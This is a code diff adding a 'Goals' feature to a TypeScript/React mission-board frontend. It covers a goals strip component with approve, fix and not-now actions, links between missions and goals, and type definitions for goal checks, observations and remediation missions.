+ const keys = useRef<Record<string, string>>({});
+ /** Tasks this person released with Fix it: their next change is the fix being claimed. */
+ const releasedTasks = useRef<Set<string>>(new Set());
+ // A double press sends once: state updates land after the second click's handler has run.
+ const busyRef = useRef(false);
+ const savingRef = useRef(false);
+ const alive = useRef(true);
+ const panelRef = useRef<Panel | null>(panel);
+ panelRef.current = panel;
+ useEffect(
+ () => () => {
+ alive.current = false;
+ },
+ [],
+ );
+
+ const reload = useCallback(() => {
+ setReloading(true);
+ api.list().then(
+ (list) => {
+ if (!alive.current) return;
+ setGoals(list);
+ setReads({});
+ readsUsed.current = 0;
+ setUnsupported(false);
+ setLoadError(null);
+ setReloading(false);
+ },
+ (e) => {
+ if (!alive.current) return;
+ setReloading(false);
+ // An older server: show nothing, as in 0.6.4.
+ if (e instanceof GoalError && (e.status === 404 || e.status === 405)) setUnsupported(true);
+ else setLoadError(errText(e, 'Couldn’t load your goals.'));
+ },
+ );
+ }, [api]);
+
+ const loadDetail = useCallback(
+ (id: string) => {
+ api.get(id).then(
+ (d) => {
+ if (!alive.current || panelRef.current?.kind !== 'goal' || panelRef.current.id !== id) return;
+ setDetail(d);
+ setDetailError(null);
+ // The list catches up with what the drawer just read.
+ setGoals((cur) => (cur ? cur.map((x) => (x.id === id ? { ...x, ...d.goal } : x)) : cur));
+ },
+ (e) => {
+ if (!alive.current) return;
+ if (e instanceof GoalError && e.status === 404) {
+ setPanel(null);
+ setGoals((cur) => (cur ? cur.filter((x) => x.id !== id) : cur));
+ setNotice('That goal was deleted.');
+ } else setDetailError(errText(e, 'Couldn’t load this goal.'));
+ },
+ );
+ },
+ [api],
+ );
+
+ useEffect(() => {
+ if (!initial) reload();
+ }, [initial, reload]);
+
+ // D8: until the list rows carry `open_mission`, read the detail for up to 3 goals that may have a decision.
+ useEffect(() => {
+ if (!goals) return;
+ const want = goals
+ .filter((g) => g.mode !== 'watch' && ['not_met', 'fixing', 'needs_you'].includes(g.status) && !g.has_mission_info && !reads[g.id] && !reading.current.has(g.id))
+ .slice(0, Math.max(0, 3 - readsUsed.current));
+ readsUsed.current += want.length;
+ for (const g of want) {
+ reading.current.add(g.id);
+ api.get(g.id).then(
+ (d) => {
+ reading.current.delete(g.id);
+ if (alive.current) setReads((cur) => ({ ...cur, [g.id]: d }));
+ },
+ () => {
+ // Leave it as the list says; the next list read tries again.
+ reading.current.delete(g.id);
+ },
+ );
+ }
+ }, [goals, reads, api]);
+
+ useEffect(() => {
+ if (panel?.kind === 'goal') {
+ setDetail(null);
+ setDetailError(null);
+ loadDetail(panel.id);
+ }
+ }, [panel, loadDetail]);
+
+ // Live: a burst of changes (a check run updates the goal several times) reads once. The server announces a fix
+ // being claimed or finished as task_updated / mission_updated only, so those reload too when they are a goal's fix.
+ const goalsRef = useRef<Goal[] | null>(null);
+ goalsRef.current = goals;
+ useEffect(() => {
+ let t: ReturnType<typeof setTimeout> | null = null;
+ const ids = new Set<string>();
+ const schedule = (id: string | null) => {
+ if (id) ids.add(id);
+ if (t) clearTimeout(t);
+ t = setTimeout(() => {
+ reload();
+ const p = panelRef.current;
+ if (p?.kind === 'goal' && (ids.has(p.id) || !ids.size)) loadDetail(p.id);
+ ids.clear();
+ }, 250);
+ };
+ const offGoal = onMission('goal_updated', ({ id }) => schedule(id));
+ const offTask = onMission('task_updated', ({ task }) => {
+ if (liveTouchesGoalFix(goalsRef.current ?? [], { taskId: task?.id, missionId: task?.mission_id }, releasedTasks.current)) schedule(null);
+ });
+ const offMission = onMission('mission_updated', ({ mission }) => {
+ if (liveTouchesGoalFix(goalsRef.current ?? [], { missionId: mission?.id, goalId: mission?.goal_link?.id })) schedule(null);
+ });
+ return () => {
+ offGoal();
+ offTask();
+ offMission();
+ if (t) clearTimeout(t);
+ };
+ }, [reload, loadDetail]);
+
+ // "Goal: <title>" on a mission, or "Open goal" after Keep this true.
+ useEffect(() => {
+ const onOpen = (e: Event) => {
+ const id = (e as CustomEvent<{ id?: unknown }>).detail?.id;
+ if (typeof id === 'string' && id) setPanel({ kind: 'goal', id });
+ };
+ window.addEventListener(OPEN_GOAL_EVENT, onOpen);
+ return () => window.removeEventListener(OPEN_GOAL_EVENT, onOpen);
+ }, []);
+
+ // A requested draft: done when a draft this strip hadn't seen shows up, or after ten minutes.
+ useEffect(() => {
+ if (!drafting) return;
+ if (goals?.some((g) => g.status === 'draft' && !drafting.known.includes(g.id))) {
+ setDrafting(null);
+ return;
+ }
+ const left = drafting.at + DRAFT_WAIT_MS - Date.now();
+ if (left <= 0) {
+ setDrafting(null);
+ return;
+ }
+ const t = setTimeout(() => setDrafting(null), left);
+ return () => clearTimeout(t);
+ }, [drafting, goals]);
+
+ const botList = useMemo(() => bots ?? Object.entries(names).map(([id, name]) => ({ id, name })), [bots, names]);
+ const titles = useMemo(() => Object.fromEntries((goals ?? []).map((g) => [g.id, g.title])), [goals]);
+
+ const upsert = (g: Goal) => setGoals((cur) => (cur ? (cur.some((x) => x.id === g.id) ? cur.map((x) => (x.id === g.id ? { ...x, ...g, checks: g.checks.length ? g.checks : x.checks } : x)) : [g, ...cur]) : [g]));
+
+ const setHidden = (id: string, task: string | null) =>
+ setNotNow((cur) => {
+ const { [id]: _was, ...rest } = cur;
+ const next = task ? { ...rest, [id]: task } : rest;
+ writeJson(NOT_NOW_KEY, next);
+ return next;
+ });
+
+ /**
+ * Not now (D1): hidden at once on this device, and sent to the server so it holds everywhere and the
+ * bot stops asking. A server without the route (404/405) or no connection keeps the local hide only.
+ * Silent on every surface: no notice, no toast (G-Q-28).
+ */
+ const declineIncident = async (g: Goal) => {
+ const task = heldFixTask(g);
+ if (!task) return;
+ setHidden(g.id, task);
+ const key = (keys.current[`not_now:${g.id}`] ??= newIdempotencyKey());
+ try {
+ upsert(rawOf(await api.notNow(g.id, key)));
+ delete keys.current[`not_now:${g.id}`];
+ } catch (e) {
+ if (e instanceof GoalError && (e.status === 404 || e.status === 405 || e.status === 0)) return;
+ setHidden(g.id, null);
+ setErrors((x) => ({ ...x, [g.id]: errText(e, 'Couldn’t save that. Try again.') }));
+ }
+ };
+
+ const act = async (shown: Goal, a: GoalAction) => {
+ const g = rawOf(shown);
+ if (a === 'edit') {
+ setFormError(null);
+ // Edit needs the checks; a list without them gets the detail first.
+ if (g.checks.length === 0) {
+ try {
+ const d = await api.get(g.id);
+ if (!alive.current) return;
+ setPanel({ kind: 'edit', goal: { ...d.goal, checks: d.checks.length ? d.checks : d.goal.checks } });
+ } catch (e) {
+ setErrors((x) => ({ ...x, [g.id]: errText(e, 'Couldn’t open it for editing.') }));
+ }
+ } else setPanel({ kind: 'edit', goal: g });
+ return;
+ }
+ if (a === 'not_now') {
+ void declineIncident(g);
+ return;
+ }
+ if (busyRef.current) return;
+ busyRef.current = true;
+ setBusyId(g.id);
+ setErrors(({ [g.id]: _gone, ...rest }) => rest);
+ setNotice(null);
+ // One key per press intent: a repeat after a lost answer replays the first one.
+ const k = `${a}:${g.id}`;
+ const key = (keys.current[k] ??= newIdempotencyKey());
+ try {
+ if (a === 'approve') {
+ upsert(await api.approve(g.id, key));
+ setNotice(`Approved: “${g.title}” is being checked now.`);
+ } else if (a === 'check') {
+ const after = await api.check(g.id, key);
+ if (after) upsert(after);
+ else upsert({ ...g, status: 'checking', checking_since: new Date().toISOString() });
+ } else if (a === 'pause' || a === 'resume') {
+ upsert(await api.update(g.id, { paused: a === 'pause' }));
+ } else if (a === 'fix' || a === 'always') {
+ let task = heldFixTask(g);
+ let after: Goal = g;
+ if (a === 'always') {
+ try {
+ // Applies to the open incident too (G-Q-12): the server may release the held fix itself, so look again.
+ after = rawOf(await api.alwaysFix(g.id, key));
+ task = heldFixTask((await api.get(g.id).catch(() => null))?.goal ?? after) ?? null;
+ } catch (e) {
+ if (!(e instanceof GoalError && (e.status === 404 || e.status === 405))) throw e;
+ after = rawOf(await api.update(g.id, { mode: 'fix' }));
+ }
+ }
+ if (task) {
+ await api.runFix(task, key);
+ releasedTasks.current.add(task);
+ upsert({
+ ...g,
+ ...after,
+ mode: a === 'always' ? 'fix' : g.mode,
+ status: 'fixing',
+ open_mission: g.open_mission ? { ...g.open_mission, run_task_id: null } : null,
+ open_fix_task: g.open_fix_task ? { ...g.open_fix_task, held: false } : null,
+ });
+ } else if (a === 'always') upsert(after);
+ setHidden(g.id, null);
+ setNotice(a === 'always' ? `“${g.title}” now gets fixed without asking. Fixing it now.` : `Fixing “${g.title}”. Its checks confirm the fix.`);
+ reload();
+ } else if (a === 'delete' || a === 'dismiss') {
+ await api.remove(g.id);
+ setGoals((cur) => (cur ? cur.filter((x) => x.id !== g.id) : cur));
+ if (panelRef.current?.kind === 'goal' && panelRef.current.id === g.id) setPanel(null);
+ setNotice(a === 'dismiss' ? `Dismissed “${g.title}”.` : `Deleted “${g.title}”.`);
+ }
+ delete keys.current[k];
+ if (panelRef.current?.kind === 'goal' && panelRef.current.id === g.id && a !== 'delete' && a !== 'dismiss') loadDetail(g.id);
+ } catch (e) {
+ if (e instanceof GoalError && e.status === 404) {
+ setGoals((cur) => (cur ? cur.filter((x) => x.id !== g.id) : cur));
+ if (panelRef.current?.kind === 'goal' && panelRef.current.id === g.id) setPanel(null);
+ setNotice('That goal was already deleted.');
+ delete keys.current[k];
+ } else if ((a === 'fix' || a === 'always') && e instanceof MissionError && e.code === 'not_held') {
+ // Run was pressed somewhere else first: it is already being fixed. Read the goal again instead of the raw refusal.
+ setNotice(`“${g.title}” is already being fixed.`);
+ delete keys.current[k];
+ reload();
+ if (panelRef.current?.kind === 'goal' && panelRef.current.id === g.id) loadDetail(g.id);
+ } else {
+ setErrors((x) => ({ ...x, [g.id]: errText(e, 'Couldn’t save that. Try again.') }));
+ if (e instanceof GoalError && e.status === 409) reload();
+ }
+ } finally {
+ busyRef.current = false;
+ if (alive.current) setBusyId(null);
+ }
+ };
+
+ const save = async (d: GoalDraft) => {
+ if (savingRef.current || !panel) return;
+ savingRef.current = true;
+ setSaving(true);
+ setFormError(null);
+ const k = panel.kind === 'edit' ? `edit:${panel.goal.id}` : 'create';
+ const key = (keys.current[k] ??= newIdempotencyKey());
+ try {
+ if (panel.kind === 'edit') {
+ const g = await api.update(panel.goal.id, d);
+ if (!alive.current) return;
+ upsert(g);
+ setNotice(`Saved “${g.title}”.`);
+ } else {
+ const g = await api.create(d, key);
+ if (!alive.current) return;
+ upsert(g);
+ setNotice(`Created “${g.title}”. Checking it now.`);
+ }
+ delete keys.current[k];
+ setPanel(null);
+ } catch (e) {
+ setFormError(errText(e, 'Couldn’t save the goal. Try again.'));
+ } finally {
+ savingRef.current = false;
+ if (alive.current) setSaving(false);
+ }
+ };
+
+ const requestDraft = async (text: string, kwantId: string) => {
+ if (savingRef.current) return;
+ savingRef.current = true;
+ setSaving(true);
+ setFormError(null);
+ const k = `draft:${kwantId}:${text}`;
+ const key = (keys.current[k] ??= newIdempotencyKey());
+ try {
+ const g = await api.draft({ space_id: spaceId, kwant_id: kwantId, text }, key);
+ if (!alive.current) return;
+ saveBot(kwantId);
+ delete keys.current[k];
+ if (g) {
+ upsert(g);
+ setPanel(g.status === 'draft' ? { kind: 'goal', id: g.id } : null);
+ } else {
+ setDrafting({ bot: names[kwantId] ?? 'The bot', text, at: Date.now(), known: (goals ?? []).map((x) => x.id) });
+ setPanel(null);
+ }
+ } catch (e) {
+ setFormError(errText(e, 'Couldn’t ask for a draft. Try again.'));
+ } finally {
+ savingRef.current = false;
+ if (alive.current) setSaving(false);
+ }
+ };
+
+ const openTask = onOpenTask
+ ? (id: string) => {
+ setPanel(null);
+ onOpenTask(id);
+ }
+ : undefined;
+ const openMission = onOpenMission
+ ? (id: string) => {
+ setPanel(null);
+ onOpenMission(id);
+ }
+ : undefined;
+
+ // What each row draws: the detail read where the list has no incident info (D8), then the display status (D3, D6).
+ const merged = (goals ?? []).map((g) => {
+ const r = reads[g.id];
+ return r ? { ...g, ...r.goal, checks: g.checks.length ? g.checks : r.goal.checks } : g;
+ });
+ const eventsOf = (id: string) => reads[id]?.events ?? (detail && detail.goal.id === id ? detail.events : []);
+ const sorted = sortGoals(merged.map((g) => ({ ...g, raw_status: g.status, status: displayStatus(g, eventsOf(g.id), now, notNow[g.id] ?? null) })));
+ const drafts = sorted.filter((g) => g.status === 'draft').length;
+ const panelTitle =
+ panel?.kind === 'new'
+ ? 'New goal'
+ : panel?.kind === 'form'
+ ? 'New goal: add checks yourself'
+ : panel?.kind === 'edit'
+ ? `Edit: ${panel.goal.title}`
+ : detail?.goal.title ?? sorted.find((g) => panel?.kind === 'goal' && g.id === panel.id)?.title ?? 'Goal';
+
+ const drawer = panel && (
+ <GoalPanel title={panelTitle} onClose={() => setPanel(null)}>
+ {panel.kind === 'new' ? (
+ <GoalDescribe
+ bots={botList}
+ drafts={drafts}
+ busy={saving}
+ error={formError}
+ onDraft={(text, bot) => void requestDraft(text, bot)}
+ onManual={(seed) => {
+ setFormError(null);
+ setPanel({ kind: 'form', seed });
+ }}
+ onCancel={() => setPanel(null)}
+ />
+ ) : panel.kind === 'form' || panel.kind === 'edit' ? (
+ <GoalForm
+ goal={panel.kind === 'edit' ? panel.goal : null}
+ seed={panel.kind === 'form' ? panel.seed : ''}
+ bots={botList}
+ saving={saving}
+ error={formError}
+ onSave={(d) => void save(d)}
+ onCancel={() => setPanel(null)}
+ />
+ ) : detail ? (
+ <GoalDetailBody
+ detail={detail}
+ names={names}
+ titles={titles}
+ notNowTask={notNow[detail.goal.id] ?? null}
+ now={now}
+ busy={busyId === detail.goal.id}
+ error={errors[detail.goal.id] ?? null}
+ onAction={(a) => void act({ ...detail.goal, checks: detail.checks.length ? detail.checks : detail.goal.checks }, a)}
+ onOpenTask={openTask}
+ onOpenMission={openMission}
+ />
+ ) : detailError ? (
+ <div role="alert" className="flex items-center gap-2 rounded-lg border border-rose-500/20 bg-rose-500/5 px-3 py-2 text-xs text-rose-300">
+ <span className={`min-w-0 flex-1 ${wrap}`}>{detailError}</span>
+ <button type="button" onClick={() => loadDetail(panel.id)} className={`${dangerBtn} shrink-0`}>
+ Retry
+ </button>
+ </div>
+ ) : (
+ <p className="flex items-center gap-2 text-xs text-zinc-400">
+ <Loader2 size={14} className={spin} aria-hidden="true" /> Loading…
+ </p>
+ )}
+ </GoalPanel>
+ );
+
+ if (hidden) return drawer || null;
+ // Loading, or an older server: the board looks as in 0.6.4. The drawer can still open from a chip.
+ if (unsupported || (goals === null && !loadError)) return drawer || null;
+
+ const newGoal = () => {
+ setFormError(null);
+ setPanel({ kind: 'new' });
+ };
+ const draftingLine = drafting && (
+ <p role="status" className={`flex min-w-0 items-center gap-1.5 text-[11px] text-sky-200 ${wrap}`} data-goals-drafting>
+ <Loader2 size={11} className={`shrink-0 ${spin}`} aria-hidden="true" />
+ {drafting.bot} is drafting checks for “{drafting.text.length > 80 ? `${drafting.text.slice(0, 79)}…` : drafting.text}”. The draft shows here.
+ </p>
+ );
+
+ // Empty: one line with a link, not a panel (B.0 rule 5), so the board's columns stay in view.
+ if (goals !== null && sorted.length === 0)
+ return (
+ <section aria-labelledby={headId} className="flex flex-wrap items-center gap-x-2 gap-y-0.5 px-1 text-[11px]" data-goals-strip data-count={0}>
+ <h3 id={headId} className="flex items-center gap-1.5 font-medium text-zinc-300">
+ <Target size={13} className="text-sky-300" aria-hidden="true" /> Goals
+ </h3>
+ <p className="min-w-0 text-zinc-500" data-goals-empty>
+ What should stay true?<span className="hidden sm:inline"> Say it in a sentence and a bot drafts the checks.</span>
+ </p>
+ <button type="button" onClick={newGoal} className={linkBtn} data-new-goal>
+ New goal
+ </button>
+ {draftingLine && <div className="basis-full">{draftingLine}</div>}
+ {notice && (
+ <p role="status" className={`basis-full text-emerald-300 ${wrap}`} data-goals-notice>
+ {notice}
+ </p>
+ )}
+ {drawer}
+ </section>
+ );
+
+ const attention = sorted.filter((g) => wantsLook(g.status));
+ const visible = open ? sorted : attention;
+ const cap = !open && phone ? PHONE_CAP : Infinity;
+ const hiddenCount = sorted.length - Math.min(visible.length, cap);
+ const decisionFor = (g: Goal) => {
+ const d = goalDecision(g, eventsOf(g.id), now, notNow[g.id] ?? null);
+ return d?.kind === 'run' || d?.kind === 'declined' ? d : null;
+ };
+ const toggle = () => {
+ setOpen(!open);
+ writeJson(OPEN_KEY, !open);
+ };
+
+ return (
+ <section aria-labelledby={headId} className="rounded-xl border border-zinc-800 bg-zinc-900/40 px-3 py-1.5 space-y-2" data-goals-strip data-count={goals?.length ?? -1}>
+ <div className="flex flex-wrap items-center gap-x-2 gap-y-0.5">
+ <h3 id={headId} className="flex items-center gap-1.5 text-xs font-medium text-zinc-200">
+ <Target size={14} className="text-sky-300" aria-hidden="true" /> Goals
+ </h3>
+ {sorted.length > 0 && (
+ <p className="order-last basis-full sm:order-none sm:basis-auto min-w-0 text-[11px] text-zinc-400" data-goal-counts>
+ {stripSummary(sorted, now)}
+ </p>
+ )}
+ {reloading && <Loader2 size={11} className={`${spin} text-zinc-500`} aria-label="Updating" />}
+ <div className="ml-auto flex items-center gap-1">
+ {(open || hiddenCount > 0) && (
+ <button type="button" aria-expanded={open} aria-controls={listId} onClick={toggle} className={`${quietBtn} text-sky-300 hover:text-sky-200`} data-goals-toggle>
+ {open ? 'Show less' : `Show all ${sorted.length}`}
+ <ChevronDown size={12} className={open ? 'rotate-180' : ''} aria-hidden="true" />
+ </button>
+ )}
+ <button type="button" onClick={newGoal} className={plainBtn} data-new-goal>
+ <Plus size={12} aria-hidden="true" /> New goal
+ </button>
+ </div>
+ </div>
+
+ {loadError && (
+ <p role="alert" className="flex flex-wrap items-center gap-2 text-[11px] text-rose-300" data-goals-error>
+ <AlertTriangle size={12} aria-hidden="true" /> {loadError}
+ <button type="button" onClick={reload} className={`underline hover:text-rose-200 rounded min-h-[40px] sm:min-h-0 ${focusRing}`}>
+ Try again
+ </button>
+ </p>
+ )}
+ {draftingLine}
+ {notice && (
+ <p role="status" className={`text-[11px] text-emerald-300 ${wrap}`} data-goals-notice>
+ {notice}
+ </p>
+ )}
+
+ {visible.length > 0 && (
+ <ul id={listId} className="grid gap-1.5 sm:grid-cols-2 xl:grid-cols-3" aria-label="Goals">
+ {visible.map((g, i) => {
+ const decision = decisionFor(g);
+ return (
+ <GoalRow
+ key={g.id}
+ goal={g}
+ names={names}
+ titles={titles}
+ now={now}
+ busy={busyId === g.id}
+ error={errors[g.id] ?? null}
+ decision={decision}
+ hideOnPhone={i >= cap}
+ onOpen={(x) => setPanel({ kind: 'goal', id: x.id })}
+ onOpenTask={openTask}
+ onAction={(a) => void act(g, a)}
+ />
+ );
+ })}
+ </ul>
+ )}
+ {drawer}
+ </section>
+ );
+};
diff --git a/frontend/src/components/MissionBoardView.tsx b/frontend/src/components/MissionBoardView.tsx
index 9edb2134..dad7ebb5 100644
--- a/frontend/src/components/MissionBoardView.tsx
+++ b/frontend/src/components/MissionBoardView.tsx
@@ -36,6 +36,8 @@ import { ModernAvatar } from './ModernAvatar';
import { PerformancePanel } from './PerformancePanel';
import { TierRequests } from './TierProposals';
import { FactNeedsYouAction, FactsLedger } from './FactsLedger';
+import { GoalChip, GoalsStrip, KeepTrueBox } from './GoalsStrip';
+import { OPEN_GOAL_EVENT, missionGoalLink } from '../goals';
import { isFactNeedsYou } from '../truthLedger';
import { RisksSection } from './RisksSection';
import { AuditWaiting, Risk, RiskResolution, TaskRisks, auditCardPlace, auditLive, auditWaiting, openRiskCounts, riskBadgeText, riskResolvedText } from '../auditor';
@@ -535,6 +537,8 @@ export const MissionSummary: React.FC<{
onSetBudget?: (budget: number) => void;
}> = ({ mission: m, busy, onApprove, onCancel, onSetBudget }) => {
const st = missionStatusLabel(m.status);
+ // A mission made to fix a goal (0.6.5) links back to it.
+ const goalLink = missionGoalLink(m);
const total = Object.entries(m.counts)
.filter(([k]) => k !== 'cancelled')
.reduce((n, [, v]) => n + v, 0);
@@ -544,7 +548,12 @@ export const MissionSummary: React.FC<{
<Target size={16} className="mt-0.5 shrink-0 text-sky-400" aria-hidden="true" />
<div className="min-w-0 flex-1">
<h3 className="text-sm font-semibold text-zinc-100 break-words">{m.title}</h3>
- {m.goal && <p className="mt-0.5 text-xs text-zinc-400 break-words">{m.goal}</p>}
+ {typeof m.goal === 'string' && m.goal && <p className="mt-0.5 text-xs text-zinc-400 break-words">{m.goal}</p>}
+ {goalLink && (
+ <div className="mt-1">
+ <GoalChip goal={goalLink} />
+ </div>
+ )}
</div>
<Badge tone={st.tone}>{st.label}</Badge>
{m.over_budget && <Badge tone="rose">Over its limit</Badge>}
@@ -1925,6 +1934,8 @@ export const TaskDetailBody: React.FC<{
onResolveFlag?: (f: OpenFlag, choice: ResolveChoice) => void;
/** Copy a verified task to redo it, with the reason typed. */
onFork?: (reason: string) => void;
+ /** The task belongs to a remediation mission (it has a goal): that goal already exists, so no "Keep this true". */
+ inGoalMission?: boolean;
/** GET /api/tasks/:id/failures, oldest first. */
failures?: TaskFailure[];
/** Proposed workflow changes for this task. */
@@ -1963,6 +1974,7 @@ export const TaskDetailBody: React.FC<{
onOpenTask,
onResolveFlag,
onFork,
+ inGoalMission = false,
failures = [],
changes = [],
onRunHeld,
@@ -2105,6 +2117,7 @@ export const TaskDetailBody: React.FC<{
</div>
</form>
)}
+ {t.state === 'verified' && !forking && !inGoalMission && <KeepTrueBox task={t} checks={detail.checks} names={names} />}
</div>
{flags.length > 0 && (
@@ -2535,6 +2548,10 @@ export interface MissionBoardViewProps {
onMission: (id: string | null) => void;
onColumn: (c: Column) => void;
onOpenTask: (t: Task) => void;
+ /** Open any task by id, listed or not (a goal's fix task); falls back to the listed tasks. */
+ onOpenTaskId?: (id: string) => void;
+ /** The board's space, for a goal drafted from a sentence. */
+ spaceId?: string;
onApproveMission: (m: Mission) => void;
onCancelMission: (m: Mission) => void;
/** Set or remove a mission's token limit (0 = none). */
@@ -2594,6 +2611,8 @@ export const MissionBoardView: React.FC<MissionBoardViewProps> = ({
onMission,
onColumn,
onOpenTask,
+ onOpenTaskId,
+ spaceId,
onApproveMission,
onCancelMission,
onSetMissionBudget,
@@ -2726,6 +2745,16 @@ export const MissionBoardView: React.FC<MissionBoardViewProps> = ({
<TierRequests names={names} now={now} />
+ {/* Goals (0.6.5) on "All work". In a mission's own view only its drawer stays, so a "Goal:" chip opens it. */}
+ <GoalsStrip
+ names={names}
+ now={now}
+ spaceId={spaceId ?? null}
+ hidden={!!missionId}
+ onOpenTask={onOpenTaskId ?? openTaskById}
+ onOpenMission={(id) => onMission(id)}
+ />
+
{visibleMissions.length > 0 && (
<div className="flex flex-wrap items-center gap-2">
<label htmlFor={selectId} className="text-[11px] font-medium text-zinc-400">
@@ -3096,6 +3125,15 @@ export const MissionBoardPage: React.FC<{
setOpenId(null);
setDetail(null);
};
+ // "Open goal" from a task's "Keep this true": the goal drawer takes the task panel's place.
+ useEffect(() => {
+ const onGoal = () => {
+ setOpenId(null);
+ setDetail(null);
+ };
+ window.addEventListener(OPEN_GOAL_EVENT, onGoal);
+ return () => window.removeEventListener(OPEN_GOAL_EVENT, onGoal);
+ }, []);
const act = async (a: TaskAction, reason?: string) => {
if (!openId) return;
@@ -3535,6 +3573,15 @@ export const MissionBoardPage: React.FC<{
onMission={setMissionId}
onColumn={setColumn}
onOpenTask={(t) => openTask(t.id)}
+ spaceId={spaceId}
+ onOpenTaskId={(id) => {
+ const t = tasksById[id];
+ if (t) {
+ const c = columnOfTask(t);
+ if (c) setColumn(c);
+ }
+ openTask(id);
+ }}
onApproveMission={(m) => missionAction(m, true)}
onCancelMission={(m) => missionAction(m, false)}
onSetMissionBudget={setMissionBudget}
@@ -3588,6 +3635,7 @@ export const MissionBoardPage: React.FC<{
onApproveCheck={approveCheck}
onResolveFlag={resolveFlag}
onFork={forkTask}
+ inGoalMission={!!missionGoalLink(missions.find((m) => m.id === detail.task.mission_id) ?? {})}
failures={failures}
changes={changes}
onRunHeld={runHeld}
diff --git a/frontend/src/goals.ts b/frontend/src/goals.ts
new file mode 100644
index 00000000..adc4fb29
--- /dev/null
+++ b/frontend/src/goals.ts
@@ -0,0 +1,1257 @@
+// Goals (GSP, 0.6.5): the person tells kwant what should stay true. kwant re-runs the goal's typed checks
+// on a schedule and, when one keeps failing, opens a remediation mission (investigate, then fix) on the
+// board. Plan: /home/maus/shared/ship-software-safely/smart-results-goals/plan.md §B (v2). There is no
+// setting: Goals show whenever the Mission board shows, and nothing runs until the person creates or
+// approves a goal. Unknown is never shown as met: no green, no tick, no "Met" for it.
+// Wire shapes: /home/maus/shared/ship-software-safely/smart-results-goals/goals-ui-contract.md
+
+import { PersonCancelledError, personFetch } from './auth';
+import { MissionError, Tone, ago, checkKindLabel, checkTarget, formatTokens, humanize, missionStatusLabel, missionsApi, stateLabel, untilText } from './missions';
+
+export type GoalStatus = 'draft' | 'checking' | 'met' | 'not_met' | 'fixing' | 'unknown' | 'needs_you' | 'paused' | 'waiting';
+export type GoalMode = 'watch' | 'suggest' | 'fix';
+export type GoalCheckKind = 'command' | 'http' | 'file_exists' | 'file_contains' | 'file_sha256';
+export type ObservationStatus = 'passed' | 'failed' | 'error';
+export type Verdict = 'met' | 'not_met' | 'unknown';
+export type GoalEventKind =
+ | 'created'
+ | 'approved'
+ | 'checked'
+ | 'not_met'
+ | 'met'
+ | 'fix_opened'
+ | 'fix_verified'
+ | 'fix_failed'
+ | 'needs_you'
+ | 'paused'
+ | 'resumed'
+ | 'edited'
+ | 'mission_opened'
+ | 'investigated'
+ | 'fix_approved'
+ | 'replanned'
+ | 'conflict'
+ | 'waiting';
+export type GoalOperator = 'eq' | 'ne' | 'lt' | 'lte' | 'gt' | 'gte' | 'contains';
+export type GoalSeverity = 'required' | 'advisory';
+
+export interface GoalObservation {
+ id?: string;
+ status: ObservationStatus;
+ verdict: Verdict;
+ /** Observed output: untrusted text, shown as text only. */
+ excerpt: string | null;
+ /** The metric's value as seen ("503", "412", "found"); none for the file kinds. Untrusted text. */
+ observed_value: string | null;
+ observed_at: string;
+ /** When the server stops trusting this result; past it, the check reads Out of date. */
+ expires_at?: string | null;
+}
+
+export interface GoalCheck {
+ id: string;
+ label: string;
+ kind: GoalCheckKind | string;
+ spec: Record<string, unknown>;
+ /** The typed predicate (plan v2 B.1): the run's `metric`, compared by `operator` to `target`. None for the file kinds. */
+ metric: string | null;
+ operator: string | null;
+ target: string | null;
+ /** From `severity`: advisory checks show but never decide the goal. */
+ required: boolean;
+ freshness_minutes: number | null;
+ latest: GoalObservation | null;
+}
+
+/** A remediation mission opened for the goal ("Restore: <goal>"), from `goal_mission_links`. */
+export interface GoalMission {
+ id: string;
+ title: string;
+ /** The mission's status (draft, active, done, cancelled), when the server sends it. */
+ status: string | null;
+ reason: string | null;
+ attempt: number;
+ opened_at: string | null;
+ closed_at: string | null;
+ outcome: string | null;
+ /** On a held remediation (suggest mode), the task the person's Run releases. */
+ run_task_id: string | null;
+ /** The Investigate task's report, when the server puts it on the mission (else the drawer reads the `investigated` event). */
+ summary: string | null;
+ cause: string | null;
+ proposed_fix: string | null;
+}
+
+export interface GoalFixTask {
+ id: string;
+ title: string;
+ state: string;
+ /** Held fix tasks (mode `suggest`) wait for the person's Run. */
+ held: boolean;
+ created_at: string | null;
+}
+
+export interface GoalEvent {
+ id: string;
+ kind: GoalEventKind | string;
+ actor: string;
+ detail: Record<string, unknown>;
+ created_at: string;
+}
+
+export interface Goal {
+ id: string;
+ space_id: string | null;
+ title: string;
+ description: string;
+ /** The bot that fixes it. */
+ kwant_id: string | null;
+ folder: string | null;
+ status: GoalStatus | string;
+ /** Why it's in its status (a Needs you reason, mostly): a known code or plain text. */
+ status_reason: string | null;
+ /** Status waiting: the goal whose fix runs first in the same folder. */
+ waiting_for: string | null;
+ waiting_title: string | null;
+ /** The Investigate report, when the server puts it on the goal itself (it comes before the mission's and the timeline's). */
+ diagnosis: GoalReport | null;
+ /** True when the row carries an `open_mission` key at all (null counts), so the strip needn't read the detail to know. */
+ has_mission_info: boolean;
+ /** Set by the strip when it swaps `status` for what it draws: the server's own word. */
+ raw_status?: string;
+ /** 1 high, 2 normal (default), 3 low. */
+ priority: number;
+ mode: GoalMode;
+ interval_minutes: number;
+ confirm_failures: number;
+ budget_tokens: number;
+ max_fixes_per_day: number;
+ created_by: string | null;
+ approved_by: string | null;
+ approved_at: string | null;
+ paused_at: string | null;
+ next_check_at: string | null;
+ last_checked_at: string | null;
+ checking_since: string | null;
+ fail_streak: number;
+ version: number;
+ created_at: string;
+ updated_at: string;
+ /** Present when the list or the detail includes them. */
+ checks: GoalCheck[];
+ open_fix_task: GoalFixTask | null;
+ /** The open remediation mission, when the list or the detail includes it. */
+ open_mission: GoalMission | null;
+ spent_tokens: number | null;
+}
+
+/** The Investigate result: what the bot found and what it proposes. Untrusted text. */
+export interface GoalReport {
+ summary: string | null;
+ cause: string | null;
+ proposed_fix: string | null;
+}
+
+export interface GoalDetail {
+ goal: Goal;
+ checks: GoalCheck[];
+ events: GoalEvent[];
+ fix_tasks: GoalFixTask[];
+ missions: GoalMission[];
+ spent_tokens: number;
+}
+
+/** What the person (or a draft's edit) sends. */
+export interface GoalCheckDraft {
+ label: string;
+ kind: GoalCheckKind;
+ spec: Record<string, unknown>;
+ metric: string | null;
+ operator: GoalOperator | null;
+ target: string | null;
+ severity: GoalSeverity;
+}
+
+export interface GoalDraft {
+ title: string;
+ description: string;
+ kwant_id: string | null;
+ interval_minutes: number;
+ mode: GoalMode;
+ priority: number;
+ confirm_failures: number;
+ /** 0 is no limit. */
+ budget_tokens: number;
+ checks: GoalCheckDraft[];
+}
+
+// ---------------------------------------------------------------------------
+// Reading the server's answer. Defensive: an older or newer server may leave fields out.
+
